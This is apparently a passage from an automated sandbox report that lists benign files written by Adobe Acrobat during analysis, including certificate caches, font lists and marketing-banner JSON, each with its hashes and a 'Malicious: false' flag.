C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.764768024956164
Encrypted:	false
SSDEEP:	48:7MLJioyVZioyFoy1C7oy16oy1TKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OP:78JuZPmXjBiyb9IVXEBodRBkv
MD5:	9194F9EA70EBDDE97606671398BD5FEA
SHA1:	08650B3A8B31B442A94452D156459D9632E2B0A8
SHA-256:	B75D0BAA54D73AF96DC6FF14CEFE3118B67EA680581641E9ADFF1117EDBD642C
SHA-512:	C32C1F3B24D3EE55ACF6C6E9EA875083259BF14BAC79DCAF9A55D4371620AEB9FAA49BBF247ACB66515041E8E71B3C1F45D2D0DF4DA4E943D0800FBA4CC37EAE
Malicious:	false
Preview:	.... .c......{4................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFkle4etfllXlE/HT8kgRltNNX8RolJuRdxLlGB9lQRYwpDdt:kKH4eeT81NMa8RdWBwRd
MD5:	0384269B8974428729B4BE1D87F642AA
SHA1:	7C6AA0FBD20359D868983F5D760B5989991E54FF
SHA-256:	40BFA0485EB32657FAD119020E5A34142FFD2144D90346C661D7E7BB48FE58EB
SHA-512:	7894B27D85223FD8C97F93C330354172A8CCD9DF9D4FC5131F148CF095A7B57698A98C4C6784F9176F16FBC85C9A60ED3F13DD1781B354D2D249BD28A24AB495
Malicious:	false
Preview:	p...... .........(...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2274838221270206
Encrypted:	false
SSDEEP:	6:kKbPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:TPiDImsLNkPlE99SNxAhUe/3
MD5:	7310A0B2DA9EA3BCCDFF0C34EAFAEEAF
SHA1:	EF2B5F68F47553A7D68717D1CD6CFC3C85934199
SHA-256:	D7C5E48AFB7E242E7560C4932B9241718D4F7E160925335EBBE159C58CEBBA99
SHA-512:	E3DA753AEA84D117868A89C7406283598285C81CCE2DD7C21C49554522EA4743DE9103B86FE1493F6A58C062935B3D3E80834485C6D4031511A2080E976945E9
Malicious:	false
Preview:	p...... ........t...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4544

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4544

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.366606816445405
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJM3g98kUwPeUkwRe9:YvXKX3wXGzMcvHVGMbLUkee9
MD5:	D669086DD1133DB12C9B26AF22415DB4
SHA1:	3647854BA389513357DE52A624CEE2B29AE82AF5
SHA-256:	2B808C6A5D97416C306F3F89EEC11518FCE85F2CDE5DE4789FC95D66ED355DB8
SHA-512:	1B6A6C2F619FB7FEF8AF7269960CA3D26B1ED4C875B254AD8AA8C0112C7443F1DC70C89E699F4D41E93619CF465080F7EE7335B8CE93BD894304D876D345D467
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.318867850657334
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJfBoTfXpnrPeUkwRe9:YvXKX3wXGzMcvHVGWTfXcUkee9
MD5:	1B545762D99DF74B83F7FB5E9DCA6503
SHA1:	4D293D9C319C3B11092771D88C71BDB71F0FDB78
SHA-256:	70B97E098F812F26D293A7A974FAC074C2DC895307083423E08F6F79CC9532A6
SHA-512:	52F8C068E6C7E11BF6EDA6D86B31B271C4A1B59C1D352777B8B475F45C6053198C387ACA844263394A0B416D78690E663A971AC99D3DA2B51B4556D2025AC7A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.296717944234404
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJfBD2G6UpnrPeUkwRe9:YvXKX3wXGzMcvHVGR22cUkee9
MD5:	CC5A7E5043209B6ACEA56327121CAD58
SHA1:	AD064DC7AF0881DED37DBCCB0FAADA9CEEF906C9
SHA-256:	CD0A767B7EF451680063AEAFB614635876BCE03CEDAF6086DDBFFC658AFD93DF
SHA-512:	05BFDB1043C2B9F135C606394F75A996DB4B42FC9268386CFBE72A50D6E13C372FDFBED70D7D06CE099143055A8FA137B16B3AB9332F9A758ADFB49A9F1F8E74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.346743196675244
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJfPmwrPeUkwRe9:YvXKX3wXGzMcvHVGH56Ukee9
MD5:	C5826AD921825A99CC072A5988A59964
SHA1:	416930D4D0E5A88C218EFE901477755B4A609328
SHA-256:	EC8B637B56589DC95DC67A3C418E224135B61D4C97A6D111727670DD627F63C1
SHA-512:	75D0776629CBD829892D6FDE38ECCD7B5D2821B021ACB70028388BB1A8A5267F30424EDB89C9CCA09823E3699C897162263381D104BAFEFB012186B262FF95FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686713292973576
Encrypted:	false
SSDEEP:	24:Yv6Xg0vapLgE9cQx8LennAvzBvkn0RCmK8czOCCSk:Yvmahgy6SAFv5Ah8cv/k
MD5:	4D122AFC0D8BAB3622EA67F1C6B3F2D7
SHA1:	0D6E6490F2216B870DE1153C193304F2C3EBB0B8
SHA-256:	2C96FB7D0D4EE9F6F591978ADBF888CC775D6B7A96D0CD7F9333639A8ADB14F1
SHA-512:	BA3A58AD57B135FD7E047E72C8915697118A035722B74D0833AD801C232A2802C5B7F61B079E30F5D5C9030913EFB482C83DDFF1B0D3B54257F1E6B2481868AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295635578357375
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJf8dPeUkwRe9:YvXKX3wXGzMcvHVGU8Ukee9
MD5:	1CB7A585948040880E023B6AA794DCDC
SHA1:	1EAB5179241CF8AB55771CD865E5BE1C6D5808E8
SHA-256:	7261B572CAF1034B8B665752FE324B668ADDE9841C0562A9AE42F55E5B14D503
SHA-512:	EC506BFF8E88AC0A01A934441CB32C49D72678FDF59643F920806521703028404B2F1CA8D49FA683B93C7FA9B1C7A3EEBCEA30E880E6DD1BEA050198450DA4CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.29891426923934
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJfQ1rPeUkwRe9:YvXKX3wXGzMcvHVGY16Ukee9
MD5:	D6341ECA1F14017B58EF2C4416A7B7C6
SHA1:	629E58A2CFAD90D75A65D964C627186849C2800C
SHA-256:	E86F43C8EED1B686F6C4D1749B8BF56C2A8019E4A202C4503BDDC95FE76B47DF
SHA-512:	15169FF76C718456D373E1FADD62B74097A4C4F0EB0CDA4D96BEB5A2D7C7AE5DEFCECE0B4F02E7390E5AEB604F955BD7AAA5F3C79516B6145D3324D6BC60988C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306574564621717
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3wXGzvUnZiQ0YGHeoAvJfFldPeUkwRe9:YvXKX3wXGzMcvHVGz8Ukee9
MD5:	CF30145C88C2868855F6E4AAA9F59E62
SHA1:	57C3147CD903C51987F0EF6D99F39805F074D769
SHA-256:	7FEF13D7712CEC6EE82E8C185DBAB335F2F97953776C816A1BC376F9B6FEDA4D
SHA-512:	88E33613BCF73ECAF11A4A5EAFF95E67799308E9A681DFA89FA739A768DFCD0259595929B58CAAEAC775C36C1C21ECDC91E7516131088E6623CEE25C7B6897F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72ab6593-8f2b-492c-ae1a-d48f3d8224cc","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735804286,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
